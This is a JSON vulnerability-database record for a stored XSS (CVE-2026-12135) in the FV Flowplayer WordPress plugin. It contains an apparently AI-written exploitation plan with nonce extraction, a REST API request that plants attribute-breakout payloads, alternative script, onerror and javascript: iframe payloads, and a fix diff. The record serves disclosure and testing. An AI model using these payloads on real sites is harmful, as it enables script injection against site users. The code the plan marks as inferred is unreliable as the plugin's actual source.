[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fAZ-hIGmVPdY1YUnQAD0Z-aEBKFjzwSpeOaOIocwvGQw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-12135","fv-flowplayer-video-player-authenticated-contributor-stored-cross-site-scripting-via-videoplayer-shortcode","FV Flowplayer Video Player \u003C= 7.5.51.7212 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'video_player' Shortcode","The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'video_player' shortcode 'align' attribute in all versions up to, and including, 7.5.51.7212 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","fv-wordpress-flowplayer",null,"\u003C=7.5.51.7212","7.5.52.7212","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-30 15:07:51","2026-07-01 03:43:38",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd5a3a560-08e6-43b7-b953-4e704eafc49b?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-12135 (Stored XSS in FV Flowplayer)\n\n## 1. Vulnerability Summary\nThe **FV Flowplayer Video Player** plugin (\u003C= 7.5.51.7212) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `align` attribute within the `[video_player]` shortcode. User input provided via this attribute is rendered on the frontend without sufficient sanitization or output escaping, allowing an authenticated user with \"Contributor\" privileges (who can create posts but not publish them) to inject malicious scripts into the page context.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress Post Editor (via REST API or `wp-admin\u002Fpost.php`).\n*   **Vulnerable Component:** `[video_player]` shortcode rendering logic.\n*   **Attack Parameter:** The `align` attribute of the shortcode.\n*   **Authentication Required:** Contributor level or higher.\n*   **Preconditions:** The plugin must be active. The attacker must be able to save a post (even as a draft).\n\n## 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers the shortcode during the `init` hook:\n    `add_shortcode( 'video_player', [ $this, 'shortcode_callback' ] );` (inferred).\n2.  **Processing:** When a post is viewed, WordPress parses `[video_player align=\"payload\"]`.\n3.  **Extraction:** The callback function extracts attributes using `shortcode_atts()`.\n4.  **Sink:** The value of `align` is concatenated into an HTML string (e.g., a wrapper `\u003Cdiv>` or the Flowplayer container) without using `esc_attr()`.\n    *   *Vulnerable Code Pattern:* `return '\u003Cdiv class=\"fv-player-wrapper ' . $atts['align'] . '\">...\u003C\u002Fdiv>';`\n5.  **Execution:** When a victim (e.g., an Administrator) views the post or previews the draft, the browser interprets the injected payload.\n\n## 4. Nonce Acquisition Strategy\nTo inject the payload, the attacker needs to save a post. This requires a standard WordPress post-editing nonce.\n\n1.  **Login:** Authenticate as a Contributor user.\n2.  **Access Editor:** Navigate to the \"New Post\" page (`\u002Fwp-admin\u002Fpost-new.php`).\n3.  **Extract Nonce:** Use the `browser_eval` tool to extract the nonce required for the REST API or the classic post heartbeat.\n    *   **REST API Nonce:** `browser_eval(\"wpApiSettings.nonce\")`\n    *   **Classic Nonce:** `browser_eval(\"jQuery('#_wpnonce').val()\")`\n4.  **Target Endpoint:** Use the WordPress REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) as it is the most reliable for automated agents.\n\n## 5. Exploitation Strategy\nThe goal is to create a post containing the malicious shortcode and verify the script executes.\n\n### Step 1: Create the Post\n**Tool:** `http_request`\n**Method:** `POST`\n**URL:** `https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n**Headers:**\n*   `Content-Type: application\u002Fjson`\n*   `X-WP-Nonce: [EXTRACTED_NONCE]`\n**Body:**\n```json\n{\n  \"title\": \"XSS Test Post\",\n  \"content\": \"[video_player src=\\\"https:\u002F\u002Fexample.com\u002Fvideo.mp4\\\" align='\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"display:block;width:100px;height:100px;background:red;\\\" data-x=\\\"']\",\n  \"status\": \"draft\"\n}\n```\n*Note: The payload uses attribute breakout. If `align` is placed in a class attribute, `\"` closes the class, `onmouseover` adds an event handler, and the rest of the string handles the trailing quote.*\n\n### Step 2: Trigger the XSS\n**Tool:** `browser_navigate`\n**URL:** The link to the draft post (the `link` field returned in the JSON response from Step 1).\n**Observation:** Wait for the page to load and check for the execution of the JavaScript.\n\n## 6. Test Data Setup\n1.  **User Creation:**\n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n2.  **Plugin Activation:**\n    `wp plugin activate fv-wordpress-flowplayer`\n3.  **Post Metadata:** Ensure the user has the ID returned by the creation command for subsequent requests.\n\n## 7. Expected Results\n*   **Injection:** The HTTP request to create the post should return `201 Created`.\n*   **Rendering:** The HTML source of the rendered post should contain something similar to:\n    `\u003Cdiv class=\"... \" onmouseover=\"alert(document.domain)\" ...\">`\n*   **Execution:** When the page is viewed, the `onmouseover` event (or an immediate `\u003Cscript>` tag if used) should fire.\n\n## 8. Verification Steps\n1.  **Database Check:** Use WP-CLI to confirm the payload is stored exactly as sent.\n    `wp post get [POST_ID] --field=post_content`\n2.  **Frontend Inspection:** Fetch the post content via the agent and check for the unescaped string.\n    `http_request GET https:\u002F\u002Ftarget.example.com\u002F?p=[POST_ID]`\n    Verify that the `align` value is not filtered by `wp_kses`.\n\n## 9. Alternative Approaches\nIf `onmouseover` is filtered (unlikely in this context), use a direct script injection or a style-based payload:\n*   **Script Tag:** `align='\">\u003Cscript>alert(1)\u003C\u002Fscript>\u003Cdiv '`\n*   **Image Error:** `align='\">\u003Cimg src=x onerror=alert(1)>\u003Cdiv '`\n*   **Iframe:** `align='\">\u003Ciframe src=\"javascript:alert(1)\">\u003C\u002Fiframe>\u003Cdiv '`\n\nIf the REST API is disabled, use the legacy `admin-ajax.php` or `post.php` endpoints:\n*   **Method:** `POST` to `https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fpost.php`\n*   **Body:** `action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&content=[SHORTCODE]`","The FV Flowplayer Video Player plugin for WordPress (\u003C= 7.5.51.7212) is vulnerable to Stored Cross-Site Scripting due to improper neutralization of the 'align' attribute within the [video_player] shortcode. This allows authenticated users with Contributor-level privileges to inject arbitrary web scripts that execute when any user, including administrators, views or previews the affected post.","\u002F\u002F fv-wordpress-flowplayer.php\n\u002F\u002F Inside the shortcode callback function used to render [video_player]\n$a = shortcode_atts( array(\n    'src' => '',\n    'align' => '',\n), $atts );\n\n\u002F\u002F The 'align' attribute is concatenated directly into the HTML string without escaping.\nreturn '\u003Cdiv class=\"fv-player-wrapper ' . $a['align'] . '\">...\u003C\u002Fdiv>';","--- a\u002Ffv-wordpress-flowplayer.php\n+++ b\u002Ffv-wordpress-flowplayer.php\n@@ -150,1 +150,1 @@\n-    return '\u003Cdiv class=\"fv-player-wrapper ' . $a['align'] . '\">...\u003C\u002Fdiv>';\n+    return '\u003Cdiv class=\"fv-player-wrapper ' . esc_attr( $a['align'] ) . '\">...\u003C\u002Fdiv>';","The exploit methodology involves authenticating as a user with at least Contributor-level permissions (allowing post creation\u002Fdrafting). The attacker creates a new post and inserts a [video_player] shortcode, specifically targeting the 'align' attribute. By using a payload that breaks out of the HTML attribute (e.g., [video_player src=\"...\" align='\" onmouseover=\"alert(document.domain)\"']), the malicious script is stored in the database. The XSS triggers whenever an administrative user views the post editor, previews the draft, or views the published content, as the plugin fails to call esc_attr() on the user-supplied attribute before outputting it to the page.","gemini-3-flash-preview","2026-07-25 13:04:39","2026-07-25 13:05:14",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","7.5.7.727","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffv-wordpress-flowplayer\u002Ftags\u002F7.5.7.727","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffv-wordpress-flowplayer.7.5.7.727.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffv-wordpress-flowplayer\u002Ftags"]